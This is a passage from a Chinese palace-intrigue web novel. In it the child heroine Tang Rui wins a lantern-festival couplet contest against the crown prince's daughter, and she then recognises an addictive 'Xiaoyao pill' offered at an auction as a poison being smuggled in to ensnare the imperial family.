“不可能,我又没做错什么事,皇爷爷为什么停了我的课?定是你这个阉人假传圣旨。”司徒嫱感觉天都塌了,不服气怪叫出声,还开始污蔑传旨的陈德福了。 “司徒嫱!”太子脸色骤变,看着她的眼神像是要吃人似的。 司徒嫱这才反应过来说错话了,咬着唇站在一边,满脸不甘! 陈德福兰花指一翘,皮笑肉不笑:“嫱主儿,您也说了,奴才只是个阉人,哪里有这样的胆子呀?” 太子赶紧道:“陈公公,幼女口无遮挡,得罪了,还望公公不要往心里去。” 虽然陈德福只是个阉人,但他是总管大太监,从小陪在皇帝身边的人。 就算是他这个太子,都不敢对此人恶语相向。 司徒嫱! 怎么敢? 她是生怕自己这个储君位置坐得太稳了吗? “太子殿下客气了,嫱主儿说得也没错,奴才确实是个阉人。时候不早了,奴才还得回去复命,就不打扰了。”陈德福说罢就走,刚转身一张脸就黑了下来。 什么玩意? 除了会投胎还会什么? 就这样的东西,也妄想郡主之位? 真是笑死人了! 没有对比就没有伤害,相比之下昭华郡主多可爱啊! 不管他去哪里宣旨,别人都是给他塞银子。 只有昭华郡主,给他塞的都是实打实的银票,还会甜甜的说他辛苦了,请他喝茶。 反观司徒嫱… 哼! 上不得台面的东西! “父王…”司徒嫱还委屈上了,泪眼汪汪的看向太子:“女儿最近真的很乖,没有犯事,女儿也不知道皇爷爷…” 啪! 话没说完,太子一个大逼斗结结实实扇了过去。 司徒嫱歪过头去,捂着脸,都被打懵了。 她不可置信的看着太子:“父王,您…您打女儿?” 太子虽然脾气不好,但也不差,更不会对孩子们出手。 可现在什么情况? 为什么会打她? “成事不足败事有余的东西!司徒嫱,孤警告你,再有下次,你就给孤滚出东宫,我司徒霄没你这么蠢的女儿!”太子说罢黑着脸离开了。 司徒嫱心下一慌,抬腿想追,却被老嬷嬷拦住了去路。 司徒嫱恶狠狠的瞪着这个老嬷嬷:“你也敢挡我的路?滚开!” 老嬷嬷满是褶子的脸面无表情:“老奴是奉皇命教导嫱主儿规矩,若是嫱主儿不配合,那老奴只能请示皇上了。” 司徒嫱噎了一下,下一刻哇的一声哭了出来。 她觉得自己好委屈,好无辜,她觉得自己被全世界抛弃了。 她不知道的是,太子离开没多远,就被司徒薇拦住了去路。 或许是因为司徒嫱的关系,太子现在对女儿这种生物非常不满,连带着对司徒薇也没了好语气:“你有事?” 司徒薇规规矩矩福了福身子,礼数周全:“父王,今晚花灯节,听闻您要出宫去臻粹阁,为皇爷爷拍卖仙药。女儿不才,也想尽一份绵薄之力。” 太子眯起眼眸打量这个女儿:“你如何得知孤的行踪?” “这…”司徒薇噎住了。 到底年纪小,办事不够周全。 第56章 你家里人不够整齐 买通了太子书房的下人,偶然间得到消息,却忘记自己犯了规矩。 但她不是司徒嫱那个蠢货,咬了咬唇,可怜巴巴抬眸看着太子:“父王,女儿知道自己不对,但女儿也是想帮您的忙,女儿实在不想…看爹爹那么烦心…” 说到最后,还挤出了几滴泪。 太子看了她片刻,突然叹息一声:“若是你长姐也有你几分懂事就好了。” “…”一听这话司徒薇就知道自己过关了,默默松了口气。 娘亲说得没错,父王不喜欢聪明人,但更讨厌蠢人。 她做的事,还触碰不到父王的雷区。 “父王,长姐是您第一个孩子,您和母妃多偏爱她一些也是人之常情。而且长姐年纪小,等她再长大些,就明白了。” “希望如此!” 太子看了看她,还是做出了决定:“今晚你跟孤一起去吧!” 司徒薇神色一喜:“女儿遵命!” … 夜色降临! 太子带着司徒薇出了宫。 唐蕊一家此时也出了门。 两辆大马车,前面的马车大一些,坐着司徒澈,秦芷嫣,顾若雪和唐蕊。 后面的马车坐着朱庶妃,张姬和李姬。 街道上热闹非凡,来往行人络绎不绝。 五彩斑斓的花灯挂满了各个角落,将整个城市装点得如梦如幻。 唐蕊趴在车窗上,眼睛亮晶晶地看着外面的花灯,时不时发出惊叹声。 司徒澈看着她那可爱的模样,嘴角不自觉地上扬。 秦芷嫣在一旁笑着打趣道:“蕊蕊,这么喜欢花灯,等会儿可要多挑几个。” 唐蕊用力地点点头,说道:“好呀好呀,我要把最好看的都带回家哦。” 顾若雪也凑过来,说道:“蕊蕊,等会儿咱们一起去猜灯谜,说不定还能赢些小奖品呢。” 唐蕊眼睛更亮了,拉着顾若雪的手:“顾庶母,那你要多给我赢一些。” 司徒澈看着她们几个,笑着说道:“那等会儿我也跟你们一起去,看看能不能帮上忙。” 秦芷嫣故意打趣:“呀!王爷博学多才,我们是没用武之地了。” 顾若雪掩唇轻笑,美眸流转:“是啊,王爷一出手,我们都得靠边站了。” 司徒澈好笑摇头:“哪有你们说得那么夸张。顾侧妃,你当年未出阁时,可是京都出了名的才女,学识渊博,连周学士都时常夸赞。” “王爷…原来知道…”顾若雪难得有些不好意思。 她还以为司徒澈从没关注过她,就像是她不关注司徒澈一样。 没想到… 其实她真的想多了。 司徒澈只是一早就让人调查过府里几个女人的底细。 毕竟以后就是他府里的人,他总不能两眼一抹黑,啥也不知道吧? 顾若雪更不知道的是,其实她和太子那点破事儿,司徒澈一直都清楚。 只是懒得管而已。 偶尔放出来给她的,也都是假消息。 包括她和太子在襄王妃生辰那日的事,他都知道。 明月可是一有空就在暗中跟着唐蕊呢,唐蕊身边发生的事,可都逃不过他的眼睛。 顾若雪前后反常,稍微让人查一查,他就知道原因了。 他不是不知道,顾若雪是当年那个不慎掉入枯井的小女娃,他没想到的是,顾若雪竟然一直都把太子当成了救命恩人。 这都叫什么事儿? 戏班子都不敢这么演吧? 就在这时,马车突然停了下来。 “怎么回事?”司徒澈问了一声。 外面的侍卫低声道:“王爷,是东宫的马车。” 他话音刚落,太子的声音也飘了进来:“七皇弟,你也要去臻粹阁?” 司徒澈撩起车帘,面无表情的看着前面同样撩起车帘的太子:“太子,好巧。” 太子透过车帘看到了坐在里面的秦芷嫣和顾若雪,还有唐蕊,不由得嗤笑一声:“七皇弟怎么还拖家带口的?” 司徒澈送了他一记白眼,不想搭理他。 但唐蕊看热闹不嫌事大,就在司徒澈要放下车帘时,伸出了个小脑瓜,冲太子笑得可可爱爱:“太子皇叔,一家人就是要整整齐齐呀,你没带太子妃婶婶哇?” 潜台词,你家里人不够整齐! “昭华,你是在咒孤?”太子听懂了,眼尾抽搐,语气微沉。 唐蕊装着一副天真无邪的懵懂样:“啊?咒?昭华没有哦,昭华就是好奇,问问。” “昭华!”司徒澈生怕太子借此发难,接过话来:“不会说话就别说,去里面待着。” “哦,好叭,好叭!” 唐蕊小大人似的叹了口气,缩回了脑瓜子,还能听到她的声音从车厢传来:“真搞不懂你们这些大人哦,明明就是一句简单的问候,怎么就成了咒呢!那太子皇叔天天孤孤孤的挂在嘴边,不是咒自己么?周学士可是说过,孤是孤独终老的意思哦。” 太子:“??” 太子:“…” 彻底黑了脸,还无言以对。 车厢里的秦芷嫣捂着嘴,差点没忍住笑出声来。 顾若雪也难掩笑意,点了点唐蕊的小鼻尖,越看这孩子越是喜欢。 这丫头,真是过于聪慧了,说句智乎近妖都不为过。 司徒澈眼底也满是笑意:“太子,小女年幼,言语冒犯了。” 这么小的女娃娃胡乱说话,那是他们偶尔犯蠢的天性。 你一个大人要是计较了,那就是你不对了。 太子瞪了他一眼,恨恨的放下车帘:“走!” 车夫驾着马车远去。 司徒澈也缩了回来,故意虎着脸,敲了敲唐蕊的脑瓜子:“他最是小心眼,你得罪了他,当心没好果子吃。” 谁知… 唐蕊突然口出狂言:“所以啊爹爹,要不你努力一下,篡位当太子叭!” 司徒澈眼尾一抽:“你胡说八道什么呢?” “我没有哦!”唐蕊如小狗一般爬到他身边,屁、股一歪坐下,开始跟他讲道理:“不想做皇帝的皇子不是好皇子,太子皇叔和皇爷爷一点也不像,也不英明神武,我觉得他做不好皇帝哦。” “胡闹!”司徒澈沉脸训斥:“储君之位岂可朝令夕改?以后这话不准再说!” 第57章 花灯节 他是有这个想法,但也不能宣之于口啊! 这妮子,胆子真是太大了。 就不知道隔墙有耳吗? 好吧! 秦芷嫣就算了,司徒澈现在都还没对顾若雪放下戒心。 哪怕认错了人,也喜欢了太子那么多年,万一她脑子一抽把这话传到太子耳中,不是主动给太子递去把柄? 唐蕊正好和他不一样,疑人不用用人不疑。 除非顾若雪主动背叛,不然她就会一直相信她。 唐蕊咬着手指,无辜的盯着自家老爹:“为什么不能改呢?皇帝若是昏庸,受苦的不还是大夏百姓?你觉得太子叔叔以后会是个昏君,还是个明君哦?” 司徒澈轻轻敲了敲她脑门:“让你别说了,还说,非要本王罚你?” 唐蕊捂着自己脑门,嘴巴一瘪窝进秦芷嫣怀里:“母妃,爹爹打我。” “蕊蕊乖,你爹爹也是担心你祸从口出,不哭哦。”秦芷嫣说罢又看向司徒澈:“王爷,蕊蕊年纪小,口无遮拦,左右这里没外人,您别跟她一般见识。” “你就惯着她罢。”司徒澈轻哼一声,隐晦了看了顾若雪一眼,不再说什么。 这一出很快过去,唐蕊很快也恢复了精神,被街道繁华吸引了注意力。 一路过来,车厢里不停充斥着她的小奶音。 “哇哦,母妃你看那个小兔几花灯,好大哦,可以买吗?” “这个莲花灯也好好看哇。” “父王,你别掀帘子啦,好多小姐姐都盯着你流口水哦。” … 司徒澈:“…” 秦芷嫣和顾若雪看着司徒澈发黑的脸,笑得不行。 司徒澈脸更黑了,但也没忘了把唐蕊夸过的花灯买下来。 路上行人越来越多,渐渐的水泄不通。 唐蕊掀开帘子往外看去,前面簇拥着很多路人。 秦芷嫣顺着她的视线往外看,唇角一直带笑:“那是今年花灯节的灯王,得赢了擂主才能得到,蕊蕊看那个龙灯,是不是很漂亮很威武?” 唐蕊不停点头。 她看到了,龙灯通体金黄,鳞片在灯光下闪烁着耀眼的光芒。 龙须随风轻轻摇曳,仿佛随时都会腾空而起,直冲云霄。 那威风凛凛的模样,瞬间就俘获了唐蕊的心。 最重要的是,她看到太子的马车也停在一边,不用猜就知道是冲着龙灯来的。 唐蕊立刻扯了扯司徒澈的衣袖:“爹爹,我想要那个龙灯!” “这…”司徒澈低头看着自己的腿,有些为难,放在腿上的手也缓缓紧握成拳。 他也想给女儿赢到龙灯,但前方簇拥的人很多,他的腿脚又不便。 总不能让明月推着他的轮椅往人堆里挤吧? 顾若雪这时开口道:“王爷,妾身去吧!” 司徒澈眉眼一动:“你?” 顾若雪微微一笑:“妾身愿意为蕊蕊与王爷赢来龙灯。” 秦芷嫣也道:“对哦,顾妹妹当年可是名震京都的才女,只要她愿意出马,谁又是她的对手。” 司徒澈迟疑片刻,还是点点头:“麻烦你了,让明月和你一起去。” “我也要去,我也要跟顾庶母一起去!”唐蕊最喜欢凑热闹了。 古代的花灯节,还是什么灯王,必须见识见识。 “好!”有明月在,司徒澈也不担心二人的安全问题。 得到他的允许,顾若雪带上面纱,牵着唐蕊下了车,由两个侍卫护送着往人堆里挤。 明月也隐入人群,不近不远的跟着二人。 终于,唐蕊牵着顾若雪挤到了最前面。 擂主是个六十多岁的老头,长得慈眉善目。 顾若雪认得这个老头,悄声在唐蕊耳边介绍:“这位是与周学士齐名的文人大师,杜老先生,也是秋山书院的院首。他虽不入仕,但朝中很多官员都是他的门生,秋山书院也是仅次于国学监的书院,每年的灯王擂台几乎都是他主持。” 唐蕊点点头,表示自己明白了。 此时杜老先生也看到了顾若雪,眼睛一亮,屈尊降贵走下擂台来到她面前:“顾小友,你也来凑热闹了?” “先生安好!”顾若雪福了福身子,礼数周全:“先生依旧龙虎精神,不输当年。” “哈哈哈…”杜老先生大笑起来,又把视线移到唐蕊身上,笑着说道:“这位,想必就是你夫君的女儿了吧?” 他虽不入仕,但也会注意朝中时势。 璃王唯一的女儿被圣上封为昭华郡主,这个消息可不算小。 而且这‘昭华’二字,也足以看出皇帝对唐蕊的喜欢。 爱屋及乌,在皇帝心里,看来还是更属意璃王。 顾若雪微微颔首:“是,以后还得麻烦先生多加照顾。” 唐蕊也适时发动嘴甜技能:“杜爷爷你好哦,我一看你就感觉特别亲切,就像看到我外公似哒。” 一句童言,又逗得杜老先生笑出声来:“贵人说笑了,老夫何德何能啊。” 唐蕊一脸不赞同:“怎么就没德没能啦?老先生仙风道骨,鹤发童颜,听庶母说,您学识还非常好,称一句当世大儒都不为过哦。” “哈哈哈…过奖,过奖…”杜老先生被夸得飘飘欲仙,对唐蕊的第一印象特别好。 他书院里的小娃娃也不少,但是像唐蕊这么能说会道的,还真没有。 而且人家还是郡主,却一点都没郡主的架子,实在难得:“两位来此,也是想要龙灯?” 顾若雪笑着点头:“是啊,我家姐儿特别喜欢这个龙灯,我只能尽力一试了。” “好,那老夫就拭目以待了!” 寒暄完,杜老先生回到了擂台上。 周围的人群议论纷纷,不时朝顾若雪投去好奇的视线。 杜老先生在文人中地位很高,为何会对一个小妇人青睐有加? 唐蕊也很好奇,问出了大家都想知道的问题。 顾若雪淡淡一笑:“未出阁时,曾有幸与杜老先生手谈过几局。” 唐蕊懂了,夸张的惊呼出声:“顾庶母,我知道你厉害,没想到你这么这么厉害哇!” “…”别夸得这么直白呀,很不好意思的。 顾若雪忍不住唇角上扬,颇有些自得:“马马虎虎吧…” 太子携带着司徒薇,面无表情的盯着顾若雪。 哪怕她戴着面纱,他也一眼就认了出来。 顾若雪不是没察觉到他的目光,但是吧…怎么说呢… 除了恶心就没别的感觉了。 终于,擂台赛开始。 第58章 昭华郡主,实至名归 杜老先生高声道:“欢迎大家来参加今年花灯节,灯王的擂台赛,今年的规矩还是和往年一样。老夫会出对联,对上来的人就可以继续了,没对上来的人,老夫只能说,非常遗憾。” “话不多说,现在开始!” 杜老先生清了清嗓子,张口道:“上联,老夫先出个简单的吧!春红夏绿秋黄色,各位请对。” 顾若雪笑了笑,想都没想便道:“日尽月升星阑珊。” 她话音刚落,很快又有人给出各种答案。 “苗青谷橙米白新。” “辞旧迎新福临门。” “日暗月明松幽静。” … 毕竟不是很难的对子,很多人都对得出来。 就连太子身边的司徒薇都对了一个:“上正中歪下糊涂。” 说罢,还朝唐蕊笑了笑:“堂妹,很多人都夸你聪慧,但…这种对子你都对不出来吗?还要让你的庶母帮忙?” 唐蕊:“…”有病?还是被你姐传染了? 她不知道的是,司徒薇只是想要在太子面前表现一下而已。 但她忽略了唐蕊身边的顾若雪。 顾若雪脸色淡了下来,温声细语怼了回去:“我家蕊蕊多少人宠着,护着,愿意帮忙的人自然是多的。不像某些孩子,爹不疼娘不爱,想要什么东西都得自己去争取抢,撞得头破血流也无人在意,实在可怜。” 什么不能欺负小孩子,不好意思,在她这就没这个规矩。 欺负她护着的人,管你是谁,先怼为敬。 司徒薇脸色一僵,笑不出来了。 “噗嗤!”唐蕊乐得笑出声来,幸灾乐祸的看着司徒薇:“没说你哦,你别对号入座。” 司徒薇咬着唇,看了太子一眼,却见太子都没给她一个眼神,只轻飘飘的说了句:“不自量力。” 这些文人嘴皮子比谁都利索,顾若雪也算是个文人。 在这些文人面前卖弄嘴皮子,可不就是不自量力? 司徒薇:“…” 第一轮对上来的人不少,杜夫子让人统计了一下人数,又出了第二对:“佛脚清泉,飘飘飘飘飘下两条玉带。” 众人:“…”好家伙,难度骤然飙升啊! 顾若雪还是那副波澜不惊的模样,几乎秒对:“源头活水,冒冒冒冒冒出一串珍珠。” “哈哈哈…”杜老先生捋了捋胡须,满意点头:“夫人文采斐然,不输当年。” 顾若雪淡淡一笑:“先生过奖。” 太子身边的小厮悄声在他耳边说了一句什么,太子当即也开口道:“人面桃花,涮涮涮涮涮燃一串红苕。” “好,好,这位公子对的不错!”比起对顾若雪的态度,杜老先生对太子的态度有些敷衍。 他又不瞎,不是没看到这人身边小厮的小动作。 太子却没听出来,刷的一下打开扇子,颇为自得的超顾若雪笑了笑。 顾若雪:“…” 她也看到了。 真无语! 以前怎么没看出来太子是这么不要脸的人? 除了这二人,还有两人也对了出来。 他们都是杜老先生的学生,杜老先生非常满意,紧接者又出了第三对:“一叶孤舟,坐二三个墨客,启用四浆五帆,经过六滩七湾,经历八颠九簸,可叹十分来迟。” 众人:“…”还能不能玩了? 怎么难度飙升这么快啊? 这次连顾若雪都有些被难住了,眉头微蹙,陷入沉思。 太子不停的瞄着身边的小厮。 小厮冷汗淋漓,绞尽脑汁,却一无所获。 唐蕊乌黑的眼眸扫了一圈,不经意瞟到了司徒薇那嘲讽的眼神。 嘿? 姐不发威,你把姐当hellokitty啊? 唐蕊当即决定,要装这个逼,于是往前一步,昂首挺胸拍了拍小胸膛:“有什么难的?这个我会哦。” 顾若雪闻言一愣,继而笑了:“蕊蕊,真对得出来吗?这个好难,我都得想想。” 司徒薇瞧见太子看向唐蕊时,那诧异且复杂的眸色,心下有些不舒服了,一时间也忘记了谨言慎行,张口就道:“堂妹,你还是别逞强啦。不然对错了,别人该笑话你了。” 其他路人也都赞同她的话,纷纷附和。 “就是啊,这娃娃看起来才几岁?我都对不出来,她能对出来?” “小姑娘,别在这捣乱了。” “她要是能对出来,我从此吃素。” … 不是他们不相信,实在是唐蕊年纪太小了。 这个对联又这么难,如果唐蕊能对出来,那他们岂不是连小孩子都不如? 杜老先生也很意外:“郡…小女娃,你确定自己能对?” “这有什么难的?你们听好了。” 唐蕊清了清嗓子,现场顿时安静下来,等着看她笑话。 然而下一刻,小奶音掷地有声响彻全场:“十年寒窗,进九八家书院,抛却七情六欲,苦读五经四书,考了三番二次,今年一定要中。” 静! 现场死一般寂静! 所有人都不可置信的看着唐蕊,完全没想到她真对出来了。 顾若雪第一个回过神来,眼睛骤亮,毫不掩饰对唐蕊的赞叹:“好,好啊,上下联自然联系,拆字干净利落,顺理成章。蕊蕊,你真厉害。” “好好好,好啊!”杜老先生也是惊叹连连:“有其父必有其女,古人诚不欺我!” 现场下一秒炸了! “真对出来了…” “老天爷,她多大啊?我…难道还不如一个孩子?” “刚刚那个说以后都吃素的呢?” “这是谁家的娃娃啊?简直是神童啊!” … 司徒薇脸色泛白,像是被雷劈了一样。 她也没想到,唐蕊真的对出来了。 怎么会? 难道她真是神童降世吗? 唐蕊嘿嘿一笑,牵着顾若雪上了台。 杜老先生也取下大龙灯递给她,压低声音道:“郡主小小年纪,文采斐然,老夫佩服。” 他没说的是,可惜了,是个女娃娃! 若是男儿,必定是状元之才。 “杜老先生过奖啦,都是我父王和庶母教得好哦。”唐蕊这个时候都还不忘记嘴甜,踮起jiojio想接花灯。 只是花灯太大了,无奈只能让一旁的侍卫拿着。 杜老先生看她更为满意了。 不骄不躁,进退有度…怎么就是个女娃娃呢? 若是男娃娃,他就算死皮赖脸都要收了这个徒弟。 这时,人群中传来一道声音:“我认得她,她是璃王之女,皇上亲封的昭华郡主!” 第59章 臻粹阁,惊现逍遥丸 众人哗然,很多人眼底甚至流露出原来如此的神色。 “原来是璃王的女儿,这就难怪了。” “璃王爷三岁能文,四岁能武,他的女儿能差到哪里去?” “有其父必有其女,这话一点不假。” “昭华郡主,实至名归啊!” “咱们大夏不是没有出过女将军,昭华郡主长大后会承父志从军吗?” “说不准哦,昭华郡主可是璃王爷的女儿,和别的孩子就不一样。” … “谢谢谢谢,大家别激动哈,都让让,让让哦,谢谢!” 唐蕊被众人簇拥赞美,说话依旧很客气,一点都没郡主的架子。 此举,让百姓们对她的好感又上了一层楼。 两个侍卫在前面开道,唐蕊拉着顾若雪艰难的往人堆外挤,俨然一个古代大型追星名场面似的。 终于,挤出了人群,唐蕊拉着顾若雪一溜烟回到了马车上。 哪怕她离开了,众人还在原地讨论得热火朝天,迟迟不愿散去。 “老七的女儿为何如此聪慧,而孤的女儿们…”太子失望的看了司徒薇一眼,摇摇头转身离去。 司徒薇咬着唇,脸色无比难看。 她现在算是有点理解司徒嫱对唐蕊那莫名其妙的嫉妒了。 唐蕊真的,好可恨! 大家都是孩子,为何她就如此与众不同,衬得她们这些孩子像傻子一样? 她真的好不服气! 她不知道,若不是她刚刚眼神挑衅,唐蕊还不一定会装这个逼呢! 反观唐蕊,刚回到马车上,不光司徒澈和秦芷嫣在,就连朱庶妃几个也溜到了这辆马车上。 说是马车突然停了下来,她们得知唐蕊和顾若雪去赢龙灯了,于是干脆在这里等结果。 偌大的马车,挤得满满当当,一家人整整齐齐! 人都在? 很好! 顾若雪开始绘声绘色的向众人说起唐蕊刚刚的表现,以及她的对出的对联。 司徒澈眉眼含笑,与有荣焉:“不愧是本王的女儿!” 秦芷嫣抱过唐蕊,稀奇得很:“蕊蕊真聪明呀,快来母妃抱抱。” “给我也抱抱呀!”朱庶妃也凑了过来,见秦芷嫣不给,只能抓着唐蕊肉乎乎的小手,左捏捏右捏捏。 李姬摇着扇子,唇角带笑:“蕊蕊可真给我们璃王府长脸,这下好了,估计明天全京城都知道蕊蕊这个小神童了。” 张姬摸着下巴:“不是说太子也在?蕊蕊赢了龙灯,他那小心眼估计又要发作了。” 司徒澈眼底划过一丝不屑:“放心,本王会护着你们。” 太子那种蠢货,他一个打十个。 “爹爹真厉害!”唐蕊适时拍马屁! 整个车厢一时欢声笑语。 马车缓缓行驶,朝臻粹阁而去。 一家人干脆就待在这辆马车里了。 后面朱庶妃她们原本坐的那辆马车,用来放唐蕊的花灯。 其中就有那个超大号龙灯。 … 皇宫! 皇帝正在挑灯批折子。 一道黑影如鬼魅般出现在他眼前,拱手把灯王之事汇报给他。 要是远一些的县城,皇帝或许顾及不了那么全面。 但这里是京城,一旦有什么风吹草动,自然逃不过他的眼睛。 他手里的龙隐卫,不光是他的耳目,偶尔也会去替他处理一些不干净的事,作用等同于前朝的东厂。 听完龙隐卫首所言后,皇帝放下笔,诧异的看着他:“真的?” 龙隐卫首低眉顺眼:“不敢欺瞒皇上!” 皇帝叹息一声:“没想到,这孩子如此聪慧。可惜了,是个女儿…若是男儿,朕也不怕江山后继无人了。” 真是可惜啊! 为什么就是女娃娃呢? 为什么就踏马不多长个丁丁再从娘胎里出来呢? 皇帝头疼的揉了揉眉心,都快自闭了。 一旁的陈德福笑着劝道:“皇上,这老话说得好,龙生龙凤生凤。昭华郡主聪慧,说到底也是随了璃王。若是能找到神医,让璃王康复,您还怕没有如昭华郡主一般聪慧的孙儿么?” “你说得对!”皇帝点点头,看向龙隐卫首:“继续找,大夏找不到就去东临或北狄找,不管如何,一定要找到神医谷!” 龙隐卫首点点头,人影一闪消失不见了。 他走后,皇帝也没心情批折子了:“陈德福,你说,朕当年让老二做太子,是不是错了?” 陈德福赶紧道:“哎哟,皇上,您英明神武,怎么可能有错呢?是太子殿下,辜负您的厚望啊!谁也没想到,他对璃王的成见会如此之深呀!” 皇帝沉声道:“没错,是太子,不配为储君。是皇后,教唆太子,挑拨他们的兄弟关系。若不是…” 说到这,皇帝打住了。 陈德福垂下眼眸,不敢吱声。 有时候他也很纳闷,皇上明明很中意皇后,事事为皇后考虑。 为何这么多年来,却从不去皇后的宫中过夜,就连看到皇后都没好脸色。 这也太矛盾,太奇怪了! … 马车停在臻粹阁前,一家人下了马车。 进入臻粹阁后,怎么说呢… 唐蕊就觉得有点像古装剧里的戏园子。 一楼是宽敞的大厅,摆放着整齐的桌椅,一些宾客正坐在那里喝茶聊天。 二楼则是雅间,透过雕花的窗棂,能隐约看到里面精致典雅的布置。 大堂中央有一个台子,想来应该是拍卖东西的‘舞台’了。 掌柜的亲自迎了出来,把司徒澈一家请到了二楼一个雅间,并让人送上瓜果点心和茶水,以及一本今夜拍卖的图册。 司徒澈接过图册翻看,唐蕊也凑了过来。 图册上有即将拍卖物品的名字与介绍,以及图像。 什么绝版的七弦琴,削铁如泥的匕首,某某名家大师的字画云云… 每一样都是宝贝! 司徒澈对前面的东西没兴趣,直接翻到了最后一页,也看到了今晚的目标。 ——逍遥丸! 一颗能让你忘乎所有,心情愉悦,需长期服用。 简短的一句话,让唐蕊脸色骤变:“不行,这个不能给皇爷爷。” 她的反应让一家人摸不着头脑。 秦芷嫣问道:“蕊蕊,怎么了?这个药丸不好吗?” 第60章 生母下落 “不好,非常非常不好,这个绝对不是神医炼制的丹药!” 唐蕊说罢又看向司徒澈,神色无比认真:“爹爹,你信我,这个药丸不好,不管是谁一旦服用就会上瘾。师…神医绝不会炼制这种毒丸子!” 什么逍遥丸,就是逍遥花炼制的毒丸子。 逍遥花是师傅偶然间发现的一种毒花。 说白了,类似现代的罂粟,威力却比罂粟强了至少三倍。 师傅一开始也不知道这种花的功效,仗着自己百毒不侵,亲自尝试了一下。 好家伙,这一尝试就停不下来了。 最后还是她联合师兄师姐把师傅关起来,师傅才成功戒掉的。 从此以后,师傅禁止神医谷出现这种花,还骂天骂地骂空气骂了两个多月。 只因为她药隐发作的时候丑态尽出,让她在徒弟们面前丢尽了脸面。 司徒澈皱眉:“你确定?” 唐蕊猛点头:“我非常确定以及肯定!这个药丸真的是毒丸子,绝不能给皇爷爷用。” 秦芷嫣有些被吓到了:“所以,臻粹阁竟然售卖毒丹?这…” “王爷,臻粹阁很可疑,建议彻查!”张姬接过话来。 顾若雪深思片刻,也道:“张姬说得没错,前来参加拍卖之人,不是非富即贵,就是位列权臣,甚至是皇室,臻粹阁出售这种毒丸子,其心可诛。” 朱庶妃看看这个,又看看那个,抓了抓后脑勺,不知道该说什么。 在唐蕊说出毒丸子那一刻,李姬早就拿着扇子挡住口鼻蹦跶到边边角落了:“王爷,咱们还是让人去给太子说一声吧!还有辰王睿王和襄王,妾身刚刚好像也看到他们府中的人了,想来他们也在这里,八成都是为这个毒丸子来的。” 因为经常出去买买买,几个王府里的下人她都认得。 皇帝寿辰快到了,儿子们都要表示一下孝道。 不用猜都知道,都是想拍下这毒丸子敬献给皇帝的。 司徒澈点点头,招来侍卫,让他去告诉几个王爷。 不一会儿,侍卫回来回话。 “几位王爷本想亲自过来,但属下说这里有女眷,他们也不方便过来了,只是让属下向王爷您道谢,至于太子…” 说到这里,侍卫顿了顿,有些迟疑:“太子…好像不信,还说…王爷您不必用这种手段哄骗他,这颗仙药他势在必得,绝不相让!” 司徒澈:“…” 蠢么? 都是一个娘胎出来的亲兄弟,他这哥哥也太不了解自己了。 他怎么会拿父皇的安危开玩笑? 秦芷嫣怒道:“这太子真是…以小人之心度君子之腹!” 朱庶妃翻了个白眼:“他不一直都这样?哪天他要是正常了,那才不正常了。” 顾若雪一脸无语,想起自己以前喜欢的是这么个人,又有点想吐了。 李姬啧啧:“太子这是作死啊!” 张姬冷漠脸:“要我说,就等到皇上生辰那日,当众拆穿太子下毒算了。” 给脸不要脸,那就去死! 司徒澈没有附和,招来侍卫:“去查,看看这臻粹阁的东家是谁。” “是!”侍卫转身离开。 唐蕊乌黑的眼珠子咕噜噜转,突然捂着肚子:“爹爹,我想嘘嘘?” 她没说,刚刚上楼的时候,她好像看到师姐了。 师姐一年前就离开了神医谷,说是替师傅办事去了。 这事…别和师姐扯上什么关系吧? 司徒澈现在对唐蕊不说了解个十成十,也有七八分了。 一看她这样子就知道没憋好屁。 司徒澈敲了敲她的脑门:“胡闹!安静待着,看看有没有什么喜欢的东西,本王给你买。” 臻粹阁公然卖毒丸子,很大可能是冲着皇帝来的。 唐蕊也是皇室中人,这么危险的地方,他怎么可能让唐蕊乱跑! 唐蕊瘪瘪嘴,捂着圆滚滚的小肚子,眼底瞬间水雾弥漫:“可是爹爹,我真的有点急哦,你不会连我嘘嘘的权利都剥夺了吧?” 司徒澈看了她片刻,没有说话。 唐蕊被他看得,有点心虚了。 “让张姬陪你去!”司徒澈收回视线,终于答应。 唐蕊还想说不必,可是话到嘴边又咽了回去。 张姬牵着她的手离开了雅间,去了楼下。 唐蕊进了茅厕,突然又朝外面的张姬喊道:“张庶母,我想拉粑粑,能不能帮我拿点草纸。” “好,我这就去!”张姬瞟了茅厕一眼,纵身跃到一旁的树上。 不过片刻,唐蕊从茅厕里伸了个小脑袋出来。 确定张姬不在,唐蕊赶紧溜进了大堂。 “啧,这小丫头,又想干嘛?”张姬嘀咕了一句,悄悄跟了上去。 躲在暗处的明月拿着小本本,一脸茫然! 王爷这是什么意思? 为什么让张姬抢了他的工作? 是他哪里做得不够好吗? 这个月别扣他月给吧? … 大堂人声鼎沸,拍卖会还没开始,气氛已经炒起来了。 唐蕊看着下面一个个宾客,终于在角落找到了一抹熟悉的人影。 她一身青衣,带着面纱,眸子清冷,与周围的人群格格不入。 特别是腰间那把长剑,还是她离开那一天,唐蕊悄悄从师傅库房偷出来给她的。 唐蕊赶紧跑了过去,冲她无齿一笑:“师姐!真的是你!” 冷若华看到这小团子愣住了:“蕊蕊?你怎么会在这里?” “我被师傅赶下山找爹…” 唐蕊说了一下自己的遭遇,可怜兮兮的表情一秒变得正经起来:“师姐,这些年你去了哪里?又为何会出现在这里?还有逍遥丸,怎么回事哦?” 冷若华左右看了看,没发现有人注意这里,于是抱起她放在自己腿上,在她耳边小声道:“我就是追着逍遥丸来的,这些年我一直跟在你娘身边,你娘现在在北狄,还动用了逍遥花,炼制逍遥丸。现在北狄皇室几乎所有人都迷上了这东西,想后悔都来不及了。北狄太子知道这药的厉害,于是就把这药悄悄流到了大夏,想让大夏皇室也沦陷。你娘知道这事后,就让我追过来阻止。” 多年相处,她深知唐蕊和别的孩子不一样,一五一十没有隐瞒。 第61章 娘亲身份,背负的仇恨 唐蕊听得都呆住了:“我娘为什么要这么做哦?” 杀人不过头点地,为什么要用这种药? 前世生长在红旗下的唐蕊,深知鸦片给种花家带来了多大的灾难,让那片孕育她生长的土地满目疮痍。 她对这种酷似鸦片的逍遥丸无比抵触,更不理解便宜娘的做法。 还有… “师傅不是禁止用这种药了吗?为什么我娘会?” “你娘本来就会,她…算起来是师傅的表妹,只不过跟师傅不同,她擅长制毒与制蛊…” 冷若华看着满眼不赞同的唐蕊,神色有些复杂,迟疑片刻还是劝道:“蕊蕊,你别怪你娘,她背负了太多太多,如果不用逍遥丸,凭她一己之力想颠覆北狄皇室,无疑于痴人说梦。” 唐蕊显然没听进去,抓着冷若华的衣袖巴巴的看着她:“但也不是非得逍遥丸啊,师姐,你劝劝我娘好不好?” 